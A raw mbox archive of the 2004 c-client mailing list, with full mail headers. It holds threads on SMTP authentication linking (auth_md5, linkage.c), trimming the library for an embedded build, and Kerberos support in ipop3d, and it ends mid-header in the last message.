lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FFumax091728 for ; Wed, 15 Sep 2004 08:56:48 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8FFulOj029333 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 15 Sep 2004 08:56:47 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout3.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FFulbK003510; Wed, 15 Sep 2004 08:56:47 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FFuk85002026; Wed, 15 Sep 2004 08:56:47 -0700 Message-Id: Date: Wed, 15 Sep 2004 08:56:46 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Niklas Fondberg Cc: c-client@u.washington.edu Subject: Re: smtp auth problem In-Reply-To: <414842D1.6020202@i3micro.com> References: <414842D1.6020202@i3micro.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 15 Sep 2004, Niklas Fondberg wrote: > I'm not able to get to mm_login when I call smtp_open to a smtp server that > needs authentification. Did you #include "linkage.c" early in the main() function of your program? This is required. Have you made modifications to the c-client library? If so, what? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Sep 15 09:04:18 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 15 Sep 2004 09:04:18 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FG4IhQ023391 for ; Wed, 15 Sep 2004 09:04:18 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FG4HhW013418 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 15 Sep 2004 09:04:18 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8FG2H2Z011874; Wed, 15 Sep 2004 09:02:18 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FG0Msc099034 for ; Wed, 15 Sep 2004 09:00:23 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8FG0Mws030182 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 15 Sep 2004 09:00:22 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout3.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FG0Ln5004197; Wed, 15 Sep 2004 09:00:22 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FG0L3Y002413; Wed, 15 Sep 2004 09:00:21 -0700 Message-Id: Date: Wed, 15 Sep 2004 09:00:21 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Niklas Fondberg Cc: c-client@u.washington.edu Subject: Re: Build question In-Reply-To: <4148019D.5070306@i3micro.com> References: <4148019D.5070306@i3micro.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 15 Sep 2004, Niklas Fondberg wrote: > 1. It seems that the library builds with RSHPATH=/usr/bin/rsh BUT I'm > building without SSL. Can I disable RSH in any way? SSL and RSH are completely independent of each other. If your embedded device does not have RSH installed, then the RSH code is ignored. > 2. I want to use the library for a simple pop3/imap/smtp email client, what > options do I have to the smallest library possible? You won't gain much space if POP3 is a requirement. POP3 needs all the local file support in the main c-client modules (including the Unicode support). You could delete the local file drivers, but those may be useful even in an embedded device and aren't all that large. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Sep 15 10:20:06 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 15 Sep 2004 10:20:06 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FHK6Hb026978 for ; Wed, 15 Sep 2004 10:20:06 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FHK5jo018788 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 15 Sep 2004 10:20:06 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8FHJ28i002632; Wed, 15 Sep 2004 10:19:02 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FHG95p021336 for ; Wed, 15 Sep 2004 10:16:09 -0700 Received: from greyhound.i3micro.se (greyhound.i3micro.se [217.78.34.60]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with SMTP id i8FHG65s002133 for ; Wed, 15 Sep 2004 10:16:08 -0700 Received: (qmail 29625 invoked by uid 110); 15 Sep 2004 17:16:06 -0000 Received: from pitbull.i3micro.se (HELO ?10.0.0.190?) (217.78.34.62) by greyhound.i3micro.se with SMTP; 15 Sep 2004 17:16:05 -0000 Message-Id: <414878D5.8040909@i3micro.com> Date: Wed, 15 Sep 2004 19:16:05 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Niklas Fondberg To: Mark Crispin , c-client@u.washington.edu Subject: Re: smtp auth problem In-Reply-To: References: <414842D1.6020202@i3micro.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, sv X-Antivirus: Scanned by F-Prot Antivirus (http://www.f-prot.com) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I solved it. auth_md5 was required.... I didn't link it before.... Mark Crispin wrote: > On Wed, 15 Sep 2004, Niklas Fondberg wrote: > >> I'm not able to get to mm_login when I call smtp_open to a smtp >> server that needs authentification. > > > Did you > #include "linkage.c" > early in the main() function of your program? This is required. > > Have you made modifications to the c-client library? If so, what? > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. -- Niklas Fondberg Development Manager, User Interfaces From pinedev@shivax2.cac.washington.edu Wed Sep 15 10:50:13 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 15 Sep 2004 10:50:13 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FHoC6A028241 for ; Wed, 15 Sep 2004 10:50:13 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FHoC16019610 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 15 Sep 2004 10:50:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8FHlOJu005246; Wed, 15 Sep 2004 10:47:25 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FHj6HA069618 for ; Wed, 15 Sep 2004 10:45:07 -0700 Received: from smtp1.Stanford.EDU (smtp1.Stanford.EDU [171.67.16.123]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8FHj5rE020997 for ; Wed, 15 Sep 2004 10:45:06 -0700 Received: from pangea.Stanford.EDU (pangea.Stanford.EDU [171.64.168.31]) by smtp1.Stanford.EDU (8.12.11/8.12.11) with ESMTP id i8FHj542016188 for ; Wed, 15 Sep 2004 10:45:05 -0700 Received: from laurentia.Stanford.EDU (laurentia.Stanford.EDU [171.64.172.48]) by pangea.Stanford.EDU (8.12.7-20030918/8.12.7) with ESMTP id i8FHj4I2000803 for ; Wed, 15 Sep 2004 10:45:04 -0700 (PDT) Received: from pangea.Stanford.EDU (daemon@pangea.Stanford.EDU [171.64.168.31]) by laurentia.Stanford.EDU (8.12.10/8.12.10) with ESMTP id i8FHik30005860 for ; Wed, 15 Sep 2004 10:44:51 -0700 (envelope-from lanz@pangea.Stanford.EDU) Received: (from lanz@localhost) by pangea.Stanford.EDU (8.12.7-20030918/8.12.7) id i8FHikq9005382 for c-client@u.washington.edu; Wed, 15 Sep 2004 10:44:46 -0700 (PDT) Message-Id: <200409151744.i8FHikq9005382@pangea.Stanford.EDU> Date: Wed, 15 Sep 2004 10:44:46 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Kai Lanz To: c-client@u.washington.edu Subject: ipop3d kerberos port? X-PMX-Version: 4.6.0.99824, Antispam-Core: 4.6.0.101390, Antispam-Data: 2004.9.15.0 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN We're thinking of switching from our old qpopper to ipop3d. Our qpopper accepts kerberized connections on port 1109, kpop. Grepping the UW source doesn't turn up any references to "1109" or "kpop"; can ipop3d do authentication via kerberos? Does it do so over the plain POP3 port, 110? If so, would it be easy to modify to use 1109 instead? It would be a big plus if our many users of Eudora-via-Kerberos didn't have to re-configure when we switch POP servers... -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Sep 15 10:52:48 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 15 Sep 2004 10:52:48 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FHqmKf028334 for ; Wed, 15 Sep 2004 10:52:48 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FHqlDw021025 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 15 Sep 2004 10:52:47 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8FHpZ4n015870; Wed, 15 Sep 2004 10:51:35 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FHnneu069566 for ; Wed, 15 Sep 2004 10:49:49 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8FHnmh9027798 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 15 Sep 2004 10:49:49 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FHnmvr012656; Wed, 15 Sep 2004 10:49:48 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FHnmTj008123; Wed, 15 Sep 2004 10:49:48 -0700 Message-Id: Date: Wed, 15 Sep 2004 10:49:48 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Niklas Fondberg Cc: c-client@u.washington.edu Subject: Re: smtp auth problem In-Reply-To: <414878D5.8040909@i3micro.com> References: <414842D1.6020202@i3micro.com> <414878D5.8040909@i3micro.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 15 Sep 2004, Niklas Fondberg wrote: > I solved it. > auth_md5 was required.... > I didn't link it before.... Please do not link things manually. Please use linkage.c instead. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Sep 15 10:55:04 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 15 Sep 2004 10:55:04 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FHt486028447 for ; Wed, 15 Sep 2004 10:55:04 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FHt3qf021182 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 15 Sep 2004 10:55:04 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8FHs0DI012668; Wed, 15 Sep 2004 10:54:00 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FHqNKZ041556 for ; Wed, 15 Sep 2004 10:52:23 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8FHqLks017556 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 15 Sep 2004 10:52:22 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FHqKXU007728; Wed, 15 Sep 2004 10:52:21 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FHqK5F008175; Wed, 15 Sep 2004 10:52:20 -0700 Message-Id: Date: Wed, 15 Sep 2004 10:52:20 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Kai Lanz Cc: c-client@u.washington.edu Subject: Re: ipop3d kerberos port? In-Reply-To: <200409151744.i8FHikq9005382@pangea.Stanford.EDU> References: <200409151744.i8FHikq9005382@pangea.Stanford.EDU> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 15 Sep 2004, Kai Lanz wrote: > We're thinking of switching from our old qpopper to ipop3d. Our > qpopper accepts kerberized connections on port 1109, kpop. Grepping > the UW source doesn't turn up any references to "1109" or "kpop"; can > ipop3d do authentication via kerberos? Yes. > Does it do so over the plain > POP3 port, 110? Yes. > If so, would it be easy to modify to use 1109 instead? I don't know what the requirements of port 1109 are; nor in fact do I have any clue as to what kpop is that's any different from a POP server that either uses the KDB to do plaintext password authentication or supports SASL. If it's just a POP server with Kerberos, then it's just a matter of [x]inetd configuration and not ipop3d at all. If, on the other hand, there's a special undocumented command to authenticate with Kerberos, then you'll have to write code to support it. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Sep 15 11:13:00 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 15 Sep 2004 11:13:00 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FICx2n029078 for ; Wed, 15 Sep 2004 11:12:59 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FICxZJ020638 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 15 Sep 2004 11:12:59 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8FIBiSS015916; Wed, 15 Sep 2004 11:11:44 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8FI9d7M109590 for ; Wed, 15 Sep 2004 11:09:39 -0700 Received: from rosa.unet.brandeis.edu (rosa.unet.brandeis.edu [129.64.99.167]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8FI9cIY002968 for ; Wed, 15 Sep 2004 11:09:39 -0700 Received: from quixote.unet.brandeis.edu (quixote.unet.brandeis.edu [129.64.99.99]) by rosa.unet.brandeis.edu (8.13.1/8.13.1) with ESMTP id i8FI9cmv024897 for ; Wed, 15 Sep 2004 14:09:38 -0400 Received: from quixote.unet.brandeis.edu (localhost.localdomain [127.0.0.1]) by quixote.unet.brandeis.edu (8.12.11/8.12.8) with ESMTP id i8FI9b41008083 for ; Wed, 15 Sep 2004 14:09:37 -0400 Received: from localhost (rcgraves@localhost) by quixote.unet.brandeis.edu (8.12.11/8.12.11/Submit) with ESMTP id i8FI9bYg008079 for ; Wed, 15 Sep 2004 14:09:37 -0400 Message-Id: Date: Wed, 15 Sep 2004 14:09:37 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rich Graves To: c-client@u.washington.edu Subject: Re: ipop3d kerberos port? In-Reply-To: <200409151744.i8FHikq9005382@pangea.Stanford.EDU> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: quixote.unet.brandeis.edu: rcgraves owned process doing -bs X-X-Sender: rcgraves@quixote.unet.brandeis.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN You're currently using the old deprecated kerberos4. ipop3d speaks kerberos5/gssapi and cannot be made to support the older protocol. Eudora (and Stanford's authentication servers) have supported kerberos5 for several years, but they're not backwards compatible, so you are going to need to reconfigure all your clients. You could have a transition period, though -- run a current version of ipop3d on 110 and leave qpopper running on 1109. Configure clients similarly to how ITSS wants Leland clients configured. Didn't recent versions of Eudora drop kerberos4 support? -- Rich Graves UNet Systems Administrator From pinedev@shivax2.cac.washington.edu Thu Sep 16 00:35:58 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Sep 2004 00:35:58 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8G7ZvO1024258 for ; Thu, 16 Sep 2004 00:35:57 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8G7ZvDG019827 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 16 Sep 2004 00:35:57 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8G7YKIi016238; Thu, 16 Sep 2004 00:34:20 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8G7WZq6091976 for ; Thu, 16 Sep 2004 00:32:35 -0700 Received: from mxfep01.bredband.com (mxfep01.bredband.com [195.54.107.70]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8G7WJ2h005542 for ; Thu, 16 Sep 2004 00:32:20 -0700 Received: from [192.168.1.167] ([213.115.49.47] [213.115.49.47]) by mxfep01.bredband.com with ESMTP id <20040916073214.WVCT1871.mxfep01.bredband.com@[192.168.1.167]>; Thu, 16 Sep 2004 09:32:14 +0200 Message-Id: <41494178.1050209@i3micro.com> Date: Thu, 16 Sep 2004 09:32:08 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Niklas Fondberg To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: smtp auth problem In-Reply-To: References: <414842D1.6020202@i3micro.com> <414878D5.8040909@i3micro.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Why? I don't want everything plus I need a small memory footprint... Mark Crispin wrote: > Please do not link things manually. Please use linkage.c instead. > From pinedev@shivax2.cac.washington.edu Thu Sep 16 00:41:59 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Sep 2004 00:41:59 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8G7fw78024399 for ; Thu, 16 Sep 2004 00:41:58 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8G7fwHt009188 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 16 Sep 2004 00:41:58 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8G7exIq016258; Thu, 16 Sep 2004 00:40:59 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8G7eLoQ048192 for ; Thu, 16 Sep 2004 00:40:21 -0700 Received: from mxfep01.bredband.com (mxfep01.bredband.com [195.54.107.70]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8G7eFQt007900 for ; Thu, 16 Sep 2004 00:40:16 -0700 Received: from [192.168.1.167] ([213.115.49.47] [213.115.49.47]) by mxfep01.bredband.com with ESMTP id <20040916074015.WXGH1871.mxfep01.bredband.com@[192.168.1.167]>; Thu, 16 Sep 2004 09:40:15 +0200 Message-Id: <41494358.5020508@i3micro.com> Date: Thu, 16 Sep 2004 09:40:08 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Niklas Fondberg To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: Build question In-Reply-To: References: <4148019D.5070306@i3micro.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > SSL and RSH are completely independent of each other. If your > embedded device does not have RSH installed, then the RSH code is > ignored. > Is this a compile time or a runtime ignore? From pinedev@shivax2.cac.washington.edu Thu Sep 16 09:39:26 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Sep 2004 09:39:26 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8GGdQF4010972 for ; Thu, 16 Sep 2004 09:39:26 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8GGdPXu009846 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 16 Sep 2004 09:39:25 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8GGbrB3011784; Thu, 16 Sep 2004 09:37:58 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8GGaT4m091900 for ; Thu, 16 Sep 2004 09:36:29 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8GGaTIa003541 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 16 Sep 2004 09:36:29 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout3.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8GGaS5P000798; Thu, 16 Sep 2004 09:36:28 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8GGaSJR021033; Thu, 16 Sep 2004 09:36:28 -0700 Message-Id: Date: Thu, 16 Sep 2004 09:36:28 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Niklas Fondberg Cc: c-client@u.washington.edu Subject: Re: smtp auth problem In-Reply-To: <41494178.1050209@i3micro.com> References: <414842D1.6020202@i3micro.com> <414878D5.8040909@i3micro.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, 